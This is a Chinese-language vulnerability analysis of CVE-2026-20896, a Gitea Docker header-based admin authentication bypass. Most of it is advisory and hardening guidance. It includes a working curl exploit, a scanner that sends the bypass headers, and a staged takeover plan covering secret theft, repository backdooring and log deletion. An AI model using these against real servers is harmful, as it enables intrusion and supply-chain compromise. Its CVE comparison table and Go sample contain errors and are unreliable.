CVE-2026-20896 深度分析:Gitea Docker 认证绕过——一个 HTTP Header 接管整个 Git 服务器
引言:最简单的攻击,最致命的后果
2026 年 6 月,安全研究员 Ali Mustafa 发现了一个足以让任何自托管 Git 服务器沦陷的漏洞:Gitea Docker 镜像中,一个硬编码的配置通配符 REVERSE_PROXY_TRUSTED_PROXIES = *,使得任何能访问到 Gitea HTTP 端口的客户端,只需在请求中添加一个 X-WEBAUTH-USER: admin Header,就能以管理员身份登录——无需密码,无需 Token,无需任何额外验证。
CVSS 评分 9.8(Critical),超过 6200 个互联网暴露的 Gitea 实例受影响,公开披露 13 天后即观察到活跃探测。这是 2026 年上半年最具破坏力的配置型漏洞之一。
本文将从漏洞原理、攻击链构建、防御加固三个维度进行深度技术分析。
一、漏洞根因:通配符信任链的崩塌
1.1 Gitea 反向代理认证机制
Gitea 支持一种称为"反向代理认证"(Reverse Proxy Authentication)的机制,其设计意图是:
// 正常架构:反向代理在前面做认证,Gitea 信任代理传来的用户身份
Client → [Authenticating Reverse Proxy] → Gitea
// 正常流程:
1. Client 向反向代理发送请求(带用户名/密码)
2. 反向代理验证身份成功
3. 反向代理向 Gitea 转发请求,附加 Header:
X-WEBAUTH-USER: username
4. Gitea 看到 Header,信任代理的身份声明
5. Gitea 将请求认证为该用户这个机制本身是合理的——很多企业内网部署中,反向代理(如 Nginx + OAuth2 Proxy)承担认证职责,后端服务只信任代理的声明。
1.2 信任边界:REVERSE_PROXY_TRUSTED_PROXIES
关键的安全设计在于信任边界:Gitea 不应该信任所有来源的 X-WEBAUTH-USER Header,只应该信任来自已知反向代理的。这就是 REVERSE_PROXY_TRUSTED_PROXIES 配置项的作用:
// app.ini 安全配置(文档推荐值)
[security]
; 只信任来自本地回环地址的代理 Header
REVERSE_PROXY_TRUSTED_PROXIES = 127.0.0.0/8,::1/128
; 或者信任特定反向代理的 IP
REVERSE_PROXY_TRUSTED_PROXIES = 172.18.0.1 ; Docker 内网网关这确保了只有从 127.0.0.x 或特定内网 IP 来源的请求,其 X-WEBAUTH-USER Header 才会被 Gitea 采信。外部互联网客户端的请求,即使带有这个 Header,也会被忽略。
1.3 Docker 镜像的致命默认值
漏洞的根因是 Gitea 官方 Docker 镜像的 app.ini 模板中硬编码了:
// Docker 镜像中的 app.ini 模板(漏洞版本 ≤ 1.26.2)
[security]
REVERSE_PROXY_TRUSTED_PROXIES = * ; ← 通配符!信任所有 IP!
[server]
ENABLE_REVERSE_PROXY_AUTHENTICATION = true ; ← 默认开启!* 通配符意味着:Gitea 将信任来自任何 IP 地址的 X-WEBAUTH-USER Header。信任边界的检查形同虚设——任何能访问到 Gitea HTTP 端口的客户端,都可以注入任意用户身份。
1.4 配置漂移的完整因果链
// CVE-2026-20896 的完整因果链
Step 1: Gitea 项目文档推荐的 REVERSE_PROXY_TRUSTED_PROXIES 值
= 127.0.0.0/8,::1/128 (只信任本地)
Step 2: Docker 镜像的 app.ini 模板没有使用文档推荐值
而是硬编码了 * (通配符)
Step 3: 当管理员启用 ENABLE_REVERSE_PROXY_AUTHENTICATION = true
(为了在反向代理后面运行 Gitea)
Step 4: 通配符 * 使 Gitea 信任来自所有 IP 的认证 Header
Step 5: 任何能直接访问 Gitea HTTP 端口的客户端
绕过反向代理,发送 X-WEBAUTH-USER Header
Step 6: Gitea 无条件信任该 Header,认证为任意指定用户
Step 7: 攻击者以管理员身份登录,接管整个 Git 服务器二、攻击链构建:从 Header 注入到全平台接管
2.1 最小攻击:一行 curl
# CVE-2026-20896 最简攻击演示(仅用于安全测试!)
# Step 1: 识别目标 Gitea 实例
curl -s -I https://git.example.com/ | grep -i "gitea"
# Step 2: 注入管理员身份
curl -s -H "X-WEBAUTH-USER: admin" https://git.example.com/
# 响应中你会看到以 admin 身份登录后的页面
# 包含:管理面板链接、所有仓库列表、系统设置入口一个 HTTP Header,零认证成本,完整的管理员权限。 这就是 CVSS 9.8 的含义——攻击复杂度极低(AC:L),无需任何权限(PR:N),无需用户交互(UI:N)。
2.2 完整攻击链:从认证绕过到供应链入侵
// CVE-2026-20896 完整攻击链(7 步纵深)
Phase 1: 初始访问
└─ 发送 X-WEBAUTH-USER: admin → 获得管理员会话
Phase 2: 信息收集
└─ 浏览所有私有仓库 → 获取源代码、配置文件、密钥
└─ 查看 CI/CD Secrets → 获取部署凭证、API Token
Phase 3: 横向移动准备
└─ 注入 SSH 公钥到管理员账号
└─ 修改 Webhook URL → SSRF 潜力(指向内网服务)
└─ 创建新管理员账号(如 auto-registration 开启)
Phase 4: 供应链攻击
└─ 修改仓库代码 → 注入恶意依赖或后门
└─ 修改 CI/CD 配置 → 构建过程植入恶意代码
└─ 发布被篡改的 Release → 影响下游用户
Phase 5: 持久化
└─ 创建 Service Account Token
└─ 在 Webhook 中植入回调 → 每次推送触发外部通知
└─ 修改 OAuth 应用配置 → 长期授权
Phase 6: 防御规避
└─ 删除审计日志(如有权限)
└─ 修改仓库权限 → 将合法用户降权
└─ 创建伪装账号 → 混入正常用户列表
Phase 7: 影响
└─ 源代码泄露(C:H)
└─ 供应链污染(I:H)
└─ 服务可用性破坏(A:H)2.3 自动化扫描与检测脚本
#!/usr/bin/env python3
"""
CVE-2026-20896 检测脚本
用途:检测 Gitea Docker 实例是否受 CVE-2026-20896 影响
警告:仅在授权范围内使用!
"""
import requests
import sys
import json
from datetime import datetime
class GiteaCVEDetector:
"""CVE-2026-20896 自动化检测工具"""
def __init__(self, target_url: str, timeout: int = 10):
self.target = target_url.rstrip("/")
self.timeout = timeout
self.results = {}
def check_gitea_instance(self) -> bool:
"""确认目标是否为 Gitea 实例"""
try:
resp = requests.get(
f"{self.target}/api/v1/version",
timeout=self.timeout
)
if resp.status_code == 200:
version_info = resp.json()
self.results["version"] = version_info.get("version", "unknown")
return True
except requests.RequestException:
return False
return False
def check_auth_bypass(self) -> dict:
"""测试认证绕过漏洞"""
test_headers = [
("X-WEBAUTH-USER", "admin"),
("X-WEBAUTH-USER", "gitea_admin"),
("X-WEBAUTH-USER", "root"),
]
findings = []
for header_name, header_value in test_headers:
try:
# 发送带注入 Header 的请求
resp = requests.get(
self.target,
headers={header_name: header_value},
timeout=self.timeout,
allow_redirects=True
)
# 检查是否成功认证
# 如果响应中包含管理员特有内容(如管理面板链接)
admin_indicators = [
"admin-panel",
"admin/config",
"/admin",
"site administration",
]
is_authenticated = any(
indicator in resp.text.lower()
for indicator in admin_indicators
)
if is_authenticated:
findings.append({
"header": f"{header_name}: {header_value}",
"status": "VULNERABLE",
"evidence": f"Authenticated as {header_value} without credentials"
})
except requests.RequestException as e:
findings.append({
"header": f"{header_name}: {header_value}",
"status": "ERROR",
"evidence": str(e)
})
return findings
def check_version_vulnerable(self) -> bool:
"""检查 Gitea 版本是否在受影响范围内"""
version = self.results.get("version", "")
if not version:
return True # 无法确认版本,视为可能受影响
# 受影响版本:≤ 1.26.2
try:
parts = version.split(".")
major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
return (major, minor, patch) <= (1, 26, 2)
except (ValueError, IndexError):
return True
def run_full_scan(self) -> dict:
"""执行完整检测"""
print(f"[*] Scanning {self.target} for CVE-2026-20896...")
# Step 1: 确认 Gitea 实例
if not self.check_gitea_instance():
return {"status": "NOT_GITEA", "target": self.target}
# Step 2: 版本检查
is_vulnerable_version = self.check_version_vulnerable()
print(f"[+] Gitea version: {self.results['version']}")
print(f"[+] Version vulnerable: {is_vulnerable_version}")
# Step 3: 认证绕过测试
auth_findings = self.check_auth_bypass()
# Step 4: 综合判定
overall_status = "VULNERABLE" if any(
f["status"] == "VULNERABLE" for f in auth_findings
) else "NOT_VULNERABLE"
return {
"target": self.target,
"timestamp": datetime.utcnow().isoformat(),
"gitea_version": self.results.get("version", "unknown"),
"version_vulnerable": is_vulnerable_version,
"auth_bypass_findings": auth_findings,
"overall_status": overall_status,
"recommendation": "Upgrade to Gitea 1.26.4 immediately" if overall_status == "VULNERABLE" else "Verify configuration manually"
}
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 gitea_cve_2026_20896_detector.py <target_url>")
print("Example: python3 gitea_cve_2026_20896_detector.py https://git.example.com")
sys.exit(1)
detector = GiteaCVEDetector(sys.argv[1])
report = detector.run_full_scan()
print(json.dumps(report, indent=2))2.4 活跃探测的威胁情报
Sysdig 的威胁情报显示:
- 公开披露 13 天后即观察到首次活跃探测
- 首次探测 IP:
159.26.98[.]241(ProtonVPN 出口节点) - 探测手法:自动化脚本扫描 + Header 注入测试
- 约 6200 个互联网暴露的 Gitea 实例可能受影响
- 目前尚未确认成功利用案例,但防御窗口正在快速关闭
三、防御加固:三层纵深防护方案
3.1 立即修复:升级到 Gitea 1.26.4
# 最优先操作:升级 Docker 镜像
# 查看当前版本
docker exec gitea gitea --version
# 拉取修复版本
docker pull gitea/gitea:1.26.4
# 更新 docker-compose.yml
# 将 image: gitea/gitea:1.26.2 → image: gitea/gitea:1.26.4
# 重启服务
docker-compose down && docker-compose up -d
# 验证版本
docker exec gitea gitea --version
# 应输出:Gitea version 1.26.41.26.3 和 1.26.4 的修复内容:
- 移除
REVERSE_PROXY_TRUSTED_PROXIES = *通配符 - 将反向代理认证改为显式 opt-in(默认关闭)
- 默认信任值改为
127.0.0.0/8,::1/128(只信任本地回环)
3.2 配置加固:即使不升级也要做的修改
# app.ini 安全加固配置(≤ 1.26.2 版本的应急配置)
[security]
; ★ 关键修复:明确指定信任的反向代理 IP,绝不使用 *
REVERSE_PROXY_TRUSTED_PROXIES = 127.0.0.0/8,::1/128
; 如果 Gitea 在 Docker Compose 中,反向代理(Nginx)的 IP 通常是网关
; 查看网关 IP:
; docker network inspect <network_name> | grep Gateway
; 例如:
; REVERSE_PROXY_TRUSTED_PROXIES = 172.18.0.1
; ★ 如果你不使用反向代理认证,直接关闭
ENABLE_REVERSE_PROXY_AUTHENTICATION = false
ENABLE_REVERSE_PROXY_AUTO_REGISTRATION = false
ENABLE_REVERSE_PROXY_EMAIL = false
[server]
; ★ 额外加固:限制管理员账号数量
ADMIN_DISABLE_REGULAR_ORG_CREATION = true
; ★ 确保 SSH 域名不暴露
SSH_DOMAIN = localhost3.3 网络层防护:限制 Gitea HTTP 端口直接访问
# Kubernetes NetworkPolicy 示例
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: gitea-restrict-access
namespace: devops
spec:
podSelector:
matchLabels:
app: gitea
policyTypes:
- Ingress
ingress:
# 只允许反向代理(Nginx Ingress)访问 Gitea
- from:
- podSelector:
matchLabels:
app: nginx-ingress
ports:
- protocol: TCP
port: 3000 # Gitea HTTP 端口
# 只允许特定网段访问 SSH
- from:
- ipBlock:
cidr: 10.0.0.0/8 # 内网网段
ports:
- protocol: TCP
port: 22 # Gitea SSH 端口# Docker Compose 网络隔离方案
# docker-compose.yml 网络配置加固
services:
gitea:
image: gitea/gitea:1.26.4
networks:
- internal # 只在内部网络
# 不要将 HTTP 端口直接映射到宿主机!
# 错误做法:ports: - "3000:3000" ← 暴露给所有人
# 正确做法:只通过反向代理暴露
nginx:
image: nginx:latest
networks:
- internal
- external # 连接外部网络
ports:
- "443:443" # 只暴露 Nginx HTTPS
# Nginx 在前面做认证,只转发合法请求到 Gitea
networks:
internal:
internal: true # 不对外暴露
external:
# 对外暴露的网络3.4 日志审计:检测可能的利用痕迹
# 检查 Gitea 日志中的可疑登录
# 1. 检查管理员登录日志
docker exec gitea grep -i "admin" /data/gitea/log/gitea.log | tail -50
# 2. 检查来自异常 IP 的认证
docker exec gitea grep "X-WEBAUTH-USER" /data/gitea/log/gitea.log
# 3. 检查突然出现的新账号(如果开启了 auto-registration)
docker exec gitea grep "new user" /data/gitea/log/gitea.log | tail -20
# 4. 检查 SSH 密钥变更
docker exec gitea grep "ssh key" /data/gitea/log/gitea.log | tail -20
# 5. 检查 Webhook 变更
docker exec gitea grep "webhook" /data/gitea/log/gitea.log | tail -20#!/usr/bin/env python3
"""
Gitea 日志审计脚本:检测 CVE-2026-20896 利用痕迹
"""
import re
from pathlib import Path
from collections import defaultdict
def audit_gitea_logs(log_path: str) -> dict:
"""分析 Gitea 日志,检测可能的认证绕过利用"""
suspicious_events = defaultdict(list)
patterns = {
# 异常 IP 的管理员登录
"admin_login_from_external": re.compile(
r'.*(admin|gitea_admin).*logged.*from.*(?!\s*127\.|10\.|172\.1[6-9]|172\.2[0-9]|172\.3[0-1]|192\.168)'
),
# X-WEBAUTH-USER Header 使用记录
"webauth_header_usage": re.compile(r'.*X-WEBAUTH-USER.*'),
# 突然出现的新账号
"unexpected_new_account": re.compile(r'.*New user.*registered.*'),
# SSH 密钥变更
"ssh_key_change": re.compile(r'.*SSH key.*(added|changed|deleted).*'),
# Webhook 变更
"webhook_change": re.compile(r'.*webhook.*(created|updated|deleted).*'),
}
log_file = Path(log_path)
if not log_file.exists():
return {"error": f"Log file not found: {log_path}"}
for line in log_file.read_text().splitlines():
for pattern_name, pattern in patterns.items():
if pattern.search(line):
suspicious_events[pattern_name].append(line.strip())
return {
"log_file": log_path,
"suspicious_events": dict(suspicious_events),
"total_suspicious": sum(len(v) for v in suspicious_events.values()),
"risk_level": "HIGH" if suspicious_events.get("admin_login_from_external") else
"MEDIUM" if suspicious_events.get("webauth_header_usage") else
"LOW"
}四、同类漏洞模式:配置信任通配符的危险
CVE-2026-20896 不是孤例。配置文件中使用通配符信任是一个反复出现的安全反模式:
| CVE | 产品 | 通配符配置 | CVSS | 影响 |
|---|---|---|---|---|
| CVE-2026-20896 | Gitea Docker | TRUSTED_PROXIES = * | 9.8 | 认证绕过 |
| CVE-2024-23842 | Jenkins | HTTP_PROXY_* 通配 | 9.8 | SSRF |
| CVE-2023-44487 | HTTP/2 | 无速率限制 | 7.5 | DDoS |
| CVE-2024-21762 | FortiOS | * SSL VPN bypass | 9.6 | RCE |
| CVE-2021-44228 | Log4j | ${*} JNDI lookup | 10.0 | RCE |
4.1 安全配置的黄金法则
// 配置信任的黄金法则(从 CVE-2026-20896 提炼)
Rule 1: 明确指定,绝不通配
TRUSTED_PROXIES = 172.18.0.1 ✅ 正确
TRUSTED_PROXIES = * ❌ 危险
Rule 2: 默认关闭,显式开启
ENABLE_AUTH = false ✅ 安全默认值
ENABLE_AUTH = true ❌ 危险默认值
Rule 3: 最小权限原则
admin.can_create_orgs = false ✅ 最小权限
admin.can_create_orgs = true ❌ 过度授权
Rule 4: 网络隔离
Gitea 只在内网可达 ✅ 正确
Gitea 直接暴露到互联网 ❌ 危险
Rule 5: 日志审计
每次认证变更都记录 IP + Header ✅ 可追溯
认证成功无详细记录 ❌ 不可追溯4.2 Docker 镜像安全检查清单
#!/bin/bash
# Docker 镜像安全检查脚本(通用版)
echo "=== Docker 镜像安全检查 ==="
# 1. 检查配置文件中的通配符信任
echo "[1] 检查通配符信任配置..."
docker exec $CONTAINER_NAME grep -rn "= \*\|= \"\*\"" /etc/ /data/ 2>/dev/null | head -20
# 2. 检查默认开启的认证功能
echo "[2] 检查认证配置..."
docker exec $CONTAINER_NAME grep -rn "ENABLE.*= true\|ENABLE.*= True" /etc/ /data/ 2>/dev/null | head -20
# 3. 检查暴露的端口
echo "[3] 检查端口暴露..."
docker port $CONTAINER_NAME
# 4. 检查运行用户
echo "[4] 检查运行用户..."
docker exec $CONTAINER_NAME whoami
docker exec $CONTAINER_NAME id
# 5. 检查网络配置
echo "[5] 检查网络配置..."
docker inspect $CONTAINER_NAME --format '{{.NetworkSettings}}'
# 6. 检查环境变量中的敏感信息
echo "[6] 检查环境变量..."
docker inspect $CONTAINER_NAME --format '{{.Config.Env}}'
echo "=== 检查完成 ==="五、从 Golang 视角看:自托管 Git 安全的最佳实践
对于使用 Go 语言开发的自托管 Git 服务(Gitea 本身就是 Go 项目),安全加固有一些特别的考量:
5.1 Go HTTP Header 安全处理
// Go 中安全的反向代理认证实现
package auth
import (
"net"
"net/http"
"strings"
)
// TrustedProxyAuth 安全的反向代理认证中间件
type TrustedProxyAuth struct {
// 明确指定信任的代理 IP/CIDR,绝不使用通配符
trustedProxies []net.IPNet
headerName string // 认证 Header 名称
}
func NewTrustedProxyAuth(headerName string, trustedCIDRs []string) (*TrustedProxyAuth, error) {
networks := make([]net.IPNet, 0, len(trustedCIDRs))
for _, cidr := range trustedCIDRs {
// ★ 关键:解析每个 CIDR,拒绝通配符
if cidr == "*" || cidr == "0.0.0.0/0" {
return nil, fmt.Errorf("SECURITY: wildcard CIDR '%s' is not allowed", cidr)
}
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
// 尽力处理单个 IP
ip := net.ParseIP(cidr)
if ip == nil {
return nil, fmt.Errorf("invalid CIDR or IP: %s", cidr)
}
if ip.To4() != nil {
ipNet = net.IPNet{IP: ip, Mask: net.CIDRMask(32, 32)}
} else {
ipNet = net.IPNet{IP: ip, Mask: net.CIDRMask(128, 128)}
}
}
networks = append(networks, *ipNet)
}
return &TrustedProxyAuth{
trustedProxies: networks,
headerName: headerName,
}, nil
}
func (a *TrustedProxyAuth) Middleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// ★ 关键:获取真实来源 IP(而非 Header 中声称的 IP)
remoteIP := extractRemoteIP(r)
// 检查来源 IP 是否在信任列表中
trusted := false
for _, network := range a.trustedProxies {
if network.Contains(remoteIP) {
trusted = true
break
}
}
if trusted {
// 只有来自信任代理的请求,才采信认证 Header
username := r.Header.Get(a.headerName)
if username != "" {
// ★ 验证用户名格式,防止注入
if isValidUsername(username) {
r = setAuthUser(r, username)
}
}
} else {
// ★ 来自非信任来源的请求,忽略认证 Header
// 即使请求带有 X-WEBAUTH-USER,也不采信
log.Printf("SECURITY: Ignoring auth header from untrusted IP %s", remoteIP)
}
next.ServeHTTP(w, r)
})
}
func extractRemoteIP(r *http.Request) net.IP {
// ★ 不要信任 X-Forwarded-For(除非来自信任代理)
// 直接使用 TCP 连接的远程地址
remoteAddr, _, _ := net.SplitHostPort(r.RemoteAddr)
return net.ParseIP(remoteAddr)
}
func isValidUsername(username string) bool {
// 防止 Header 注入攻击
// 用户名只允许字母、数字、下划线、连字符
matched, _ := regexp.MatchString(`^[a-zA-Z0-9_-]{1,64}$`, username)
return matched
}5.2 Docker Compose 安全模板
# gitea-docker-compose-secure.yml — 安全加固模板
version: "3.8"
networks:
gitea-internal:
internal: true # ★ 不对外暴露
gitea-external:
services:
gitea:
image: gitea/gitea:1.26.4 # ★ 使用修复版本
environment:
- GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES=172.18.0.1 # ★ 明确指定
- GITEA__server__ENABLE_REVERSE_PROXY_AUTHENTICATION=false # ★ 默认关闭
- GITEA__server__SSH_DOMAIN=localhost # ★ SSH 不对外
networks:
- gitea-internal
# ★ 不要 ports 映射 HTTP 端口到宿主机!
volumes:
- gitea-data:/data
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:3000/api/v1/version"]
interval: 30s
timeout: 10s
retries: 3
nginx-proxy:
image: nginx:latest
networks:
- gitea-internal
- gitea-external
ports:
- "443:443" # ★ 只暴露 HTTPS
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./ssl:/etc/nginx/ssl:ro
volumes:
gitea-data:六、总结与行动清单
6.1 立即行动清单
| 优先级 | 行动 | 时间 |
|---|---|---|
| P0 | 升级 Gitea Docker 镜像到 1.26.4 | 立即 |
| P0 | 修改 REVERSE_PROXY_TRUSTED_PROXIES 为具体 IP | 立即 |
| P0 | 如果不使用反向代理认证,关闭 ENABLE_REVERSE_PROXY_AUTHENTICATION | 立即 |
| P1 | 检查日志中的可疑管理员登录 | 24 小时内 |
| P1 | 确认网络隔离——Gitea HTTP 端口不直接暴露到互联网 | 24 小时内 |
| P2 | 审计管理员账号和 SSH 密钥 | 48 小时内 |
| P2 | 检查 Webhook 是否被篡改 | 48 小时内 |
6.2 长期教训
CVE-2026-20896 的核心教训是:配置安全 = 代码安全。一个 * 通配符的价值与一个缓冲区溢出漏洞的价值一样高——都是 CVSS 9.8。
在自托管服务的世界里,默认配置是最危险的东西。因为:
- 默认配置是"方便部署"优先,而非"安全优先"
- 管理员往往不会仔细审查默认配置
- Docker 镜像的默认配置可能与项目文档推荐的配置不一致
请永远记住:如果你的信任列表中有 *,你的安全边界就是 0。
参考资料
- CVE-2026-20896 – Authentication Bypass – Gitea Docker Image — IONIX Research
- Active Exploitation Alert: Gitea Docker Auth Bypass — Rescana
- Threat Actors Probe Gitea Docker Flaw — The Hacker News
- Gitea Security Advisory GHSA-f75j-4cw6-rmx4 — GitHub Security
- Gitea Release of 1.26.3 and 1.26.4 — Gitea Blog
- CVE-2026-20896 PoC and Detector — Ali Mustafa (@rz1027)

